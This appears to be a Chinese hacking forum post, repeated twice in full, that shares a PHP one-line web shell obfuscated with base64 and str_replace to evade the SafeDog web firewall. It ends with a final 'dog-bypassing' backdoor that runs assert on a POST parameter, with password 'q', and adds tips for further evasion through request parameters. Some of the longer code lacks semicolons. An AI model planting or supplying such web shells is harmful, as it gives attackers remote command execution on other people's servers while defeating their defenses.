把编写的过狗一句话的思路和成品分享出来。
【php最新过狗一句话】
先讲php,需要用到三个函数
//$b = str_replace('aa','a',$a);//1.被替换内容 2.用作替换内容 3.替换的内容
//base64_encode();//加密
//base64_decode();//解密
这个是上小迪网络班的时候,他用这三个函数进行加密,过掉安全狗。当时成功了,差不多十来行代码。群里的人都在测试,过了一会就不行了。被杀了。但是我觉得思路很好,于是当天晚上研究了一夜。变量和各种加密解密绕了半夜,终于过了狗。下面就是我的原版代码,现在仍然可以过狗。虽然有点长!
<?php
$o= 'YXNzZXJ01';
$q = str_replace('YXNzZXJ01','YXNzZXJ0',$o);
$a = 'Y11qmq1qE1=q11';
$a1 = str_ireplace('q','',$a);
$a2 = str_ireplace('1','',$a1);
$b = 'aNaFaa9qqqaka';
$b1 = str_ireplace('a','',$b);
$za = "fg";
$zb = str_ireplace('g','s',$za)
$zc = str_ireplace('s','e6',$zb)
$zd = str_ireplace('f','s',$zc)
$se6 = $zd
$e = base64_encode('emRn');
$e1 = str_ireplace('Sbg=','5',$e);
$e2 = 't';
$e3 = base64_encode('$e2');
$jg = $a1.$se6.$b1.$e3;
$qa = '11m1E1=11';
$jg1 = str_ireplace($qa,'q',$jg);
$jg2 = base64_encode($e1);
$jg3 = $jg1.$jg2;
$jg4 = 'NF9qqqkJGUyWlcx';
$jg5 = str_ireplace($jg4,$e2,$jg3);
$jg6 = 'co2de';
$jg7 = str_ireplace('NT',$jg6,$jg5);
$jg8 = str_ireplace('qs','as',$jg7);
$jg9 = str_ireplace('tco2','_tco',$jg8);
$jg10 = str_ireplace('0=','',$jg9);
$jg11 = base64_encode($jg10);
$jg12 = str_ireplace('ZTZfdGNvZGU=','ZTY0X2RlY29k',$jg11);
$jg13 = str_ireplace('WWFzZT','YmFzZT',$jg12);
$jg14 = 'e';
$jg15 = base64_decode($jg13);
$jg16 = $jg15.$jg14;
$z = $jg16($q);
$z($_POST[q]);
?>
但是这个可以过狗,只是太长了,所以后半夜主要就是优化代码。优化代码。
以上虽然很多,但主要思路就是把不过狗的一句话<?php assert($_POST["q"]);?> 把assert($_POST["q"]);?>给base64加密然后插入随便字符,然后用str_replace()函数替换,绕来绕去还是替换成assert($_POST["q"]);?> 的base64加密,然后在解密,就可以。
详细过程不分析了,烧脑。这里主要讲,如何快速的编写过狗一句话。
这里主要关注最后两行↓
$z = $jg16($q);
$z($_POST[q]);
我们的一句话最终执行的效果肯定是:<?php assert($_POST["q"]);?>
那么这里$z肯定就是assert,我们echo一下$z试试
如下图
无视报错信息,这个是我才搭建的集成环境,没配置好。
可以看到上面echo出了assert
那我们如果直接把$z替换成assert来执行,看看结果会怎么样?
如下图
把上面的代码多行注释掉,直接替换是被杀的。
$z = $jg16($q);
$z($_POST[q]);
那我们尝试着把$jg16变量替换成明文试试,看看马到底杀的是什么地方。
先echo一下看看是什么内容,然后替换成明文。如下图。
那我们就可以知道,
$z = $jg16($q);
$z($_POST[q]);
变量jg16传递过来以后变成了
$z = base64_decode($q);
$z($_POST[q]);
这个时候可以看出来,$_POST[q]是由$z来执行的,$z=assert
也就是说
$z = base64_decode($q); 实际上是
assert = base64_decode($q);
那么basw64解密的这个$q一定是assert的base64加密。
所以我们继续,
$z = $jg16($q);
$z($_POST[q]);
替换成
$z = base64_decode($q);
$z($_POST[q]);
看看会不会被杀。
如下图
那我们现在知道了,base解密这个函数是被杀的,那我们这样。变量保留。
尝试用
$z = $jg16($q的明文);
$z($_POST[q]);
这样的话
base解密函数还是加密的,安全狗看不到。这样尝试一下,我们知道$q是assert的64加密,
我们替换一下然后看看结果。
$z = $jg16(assert);
$z($_POST[q]);
如图:
现在最后5行代码就是这样了
$jg14 = 'e';
$jg15 = base64_decode($jg13);
$jg16 = $jg15.$jg14;
$z = $jg16(YXNzZXJ0);
$z($_POST[q]);
我们尝试把$jg16替换成明文,由倒数第一行可知,$=assert 所以倒数第二行代码就是assert=$jg16(YXNzZXJ0);
而前面我们知道YXNzZXJ0是assert函数的base64加密,所以从YXNzZXJ0到assert有个base64解密的过程,这个过程就是变量$jg16。所以变量$jg16=base64_decode
我们把$jg16直接替换成base64_decode 不明白的echo一下也可以,我们直接替换。
为止一句话为
$jg16 = base64_decode;
$z = $jg16(YXNzZXJ0);
$z($_POST[q]);
如果成功的话,那前面所有的代码都可以删除了。
看结果
成功搞定最新版安全狗。
------------------------------------------------------------------------------------------------------
最终2016过狗一句话为:
<?php $jg16=base64_decode;$z=$jg16(YXNzZXJ0);$z($_POST[q]);?>
密码q
--------------------------------------------------------------------------------------------------------
其实现在容易搞多了,刚开始弄的时候不知道安全狗到底杀什么,变量绕了一夜。
最上面那个代码还是简化过的。现在已经简化到3句代码,一行。
其实说白了,一句话永远不可能杀完,因为$_POST是个正常的提交方式,不可能被杀。然后其他assert或者eval一般也不会被杀,因为很多程序员要用到。狗只是针对特征杀,比如某个一句话用的人多了就会被杀。
【后续思路】
如果这个在被杀,还有很多方法过。最简单的就是用传参的方式,安全狗不好检测的。
如果传参也被杀,那我传参只传一个字母 这样肯定不可能被杀,因为几乎所有网站都需要传递id参数,然后把id参数替换成assert或者eval的base64加密。 这是最简单,最有效,最难防御的办法。
下面讲2016asp的过狗一句话
【php最新过狗一句话】
先讲php,需要用到三个函数
//$b = str_replace('aa','a',$a);//1.被替换内容 2.用作替换内容 3.替换的内容
//base64_encode();//加密
//base64_decode();//解密
这个是上小迪网络班的时候,他用这三个函数进行加密,过掉安全狗。当时成功了,差不多十来行代码。群里的人都在测试,过了一会就不行了。被杀了。但是我觉得思路很好,于是当天晚上研究了一夜。变量和各种加密解密绕了半夜,终于过了狗。下面就是我的原版代码,现在仍然可以过狗。虽然有点长!
<?php
$o= 'YXNzZXJ01';
$q = str_replace('YXNzZXJ01','YXNzZXJ0',$o);
$a = 'Y11qmq1qE1=q11';
$a1 = str_ireplace('q','',$a);
$a2 = str_ireplace('1','',$a1);
$b = 'aNaFaa9qqqaka';
$b1 = str_ireplace('a','',$b);
$za = "fg";
$zb = str_ireplace('g','s',$za)
$zc = str_ireplace('s','e6',$zb)
$zd = str_ireplace('f','s',$zc)
$se6 = $zd
$e = base64_encode('emRn');
$e1 = str_ireplace('Sbg=','5',$e);
$e2 = 't';
$e3 = base64_encode('$e2');
$jg = $a1.$se6.$b1.$e3;
$qa = '11m1E1=11';
$jg1 = str_ireplace($qa,'q',$jg);
$jg2 = base64_encode($e1);
$jg3 = $jg1.$jg2;
$jg4 = 'NF9qqqkJGUyWlcx';
$jg5 = str_ireplace($jg4,$e2,$jg3);
$jg6 = 'co2de';
$jg7 = str_ireplace('NT',$jg6,$jg5);
$jg8 = str_ireplace('qs','as',$jg7);
$jg9 = str_ireplace('tco2','_tco',$jg8);
$jg10 = str_ireplace('0=','',$jg9);
$jg11 = base64_encode($jg10);
$jg12 = str_ireplace('ZTZfdGNvZGU=','ZTY0X2RlY29k',$jg11);
$jg13 = str_ireplace('WWFzZT','YmFzZT',$jg12);
$jg14 = 'e';
$jg15 = base64_decode($jg13);
$jg16 = $jg15.$jg14;
$z = $jg16($q);
$z($_POST[q]);
?>
但是这个可以过狗,只是太长了,所以后半夜主要就是优化代码。优化代码。
以上虽然很多,但主要思路就是把不过狗的一句话<?php assert($_POST["q"]);?> 把assert($_POST["q"]);?>给base64加密然后插入随便字符,然后用str_replace()函数替换,绕来绕去还是替换成assert($_POST["q"]);?> 的base64加密,然后在解密,就可以。
详细过程不分析了,烧脑。这里主要讲,如何快速的编写过狗一句话。
这里主要关注最后两行↓
$z = $jg16($q);
$z($_POST[q]);
我们的一句话最终执行的效果肯定是:<?php assert($_POST["q"]);?>
那么这里$z肯定就是assert,我们echo一下$z试试
如下图
无视报错信息,这个是我才搭建的集成环境,没配置好。
可以看到上面echo出了assert
那我们如果直接把$z替换成assert来执行,看看结果会怎么样?
如下图
把上面的代码多行注释掉,直接替换是被杀的。
$z = $jg16($q);
$z($_POST[q]);
那我们尝试着把$jg16变量替换成明文试试,看看马到底杀的是什么地方。
先echo一下看看是什么内容,然后替换成明文。如下图。
那我们就可以知道,
$z = $jg16($q);
$z($_POST[q]);
变量jg16传递过来以后变成了
$z = base64_decode($q);
$z($_POST[q]);
这个时候可以看出来,$_POST[q]是由$z来执行的,$z=assert
也就是说
$z = base64_decode($q); 实际上是
assert = base64_decode($q);
那么basw64解密的这个$q一定是assert的base64加密。
所以我们继续,
$z = $jg16($q);
$z($_POST[q]);
替换成
$z = base64_decode($q);
$z($_POST[q]);
看看会不会被杀。
如下图
那我们现在知道了,base解密这个函数是被杀的,那我们这样。变量保留。
尝试用
$z = $jg16($q的明文);
$z($_POST[q]);
这样的话
base解密函数还是加密的,安全狗看不到。这样尝试一下,我们知道$q是assert的64加密,
我们替换一下然后看看结果。
$z = $jg16(assert);
$z($_POST[q]);
如图:
现在最后5行代码就是这样了
$jg14 = 'e';
$jg15 = base64_decode($jg13);
$jg16 = $jg15.$jg14;
$z = $jg16(YXNzZXJ0);
$z($_POST[q]);
我们尝试把$jg16替换成明文,由倒数第一行可知,$=assert 所以倒数第二行代码就是assert=$jg16(YXNzZXJ0);
而前面我们知道YXNzZXJ0是assert函数的base64加密,所以从YXNzZXJ0到assert有个base64解密的过程,这个过程就是变量$jg16。所以变量$jg16=base64_decode
我们把$jg16直接替换成base64_decode 不明白的echo一下也可以,我们直接替换。
为止一句话为
$jg16 = base64_decode;
$z = $jg16(YXNzZXJ0);
$z($_POST[q]);
如果成功的话,那前面所有的代码都可以删除了。
看结果
成功搞定最新版安全狗。
------------------------------------------------------------------------------------------------------
最终2016过狗一句话为:
<?php $jg16=base64_decode;$z=$jg16(YXNzZXJ0);$z($_POST[q]);?>
密码q
--------------------------------------------------------------------------------------------------------
其实现在容易搞多了,刚开始弄的时候不知道安全狗到底杀什么,变量绕了一夜。
最上面那个代码还是简化过的。现在已经简化到3句代码,一行。
其实说白了,一句话永远不可能杀完,因为$_POST是个正常的提交方式,不可能被杀。然后其他assert或者eval一般也不会被杀,因为很多程序员要用到。狗只是针对特征杀,比如某个一句话用的人多了就会被杀。
【后续思路】
如果这个在被杀,还有很多方法过。最简单的就是用传参的方式,安全狗不好检测的。
如果传参也被杀,那我传参只传一个字母 这样肯定不可能被杀,因为几乎所有网站都需要传递id参数,然后把id参数替换成assert或者eval的base64加密。 这是最简单,最有效,最难防御的办法。
下面讲2016asp的过狗一句话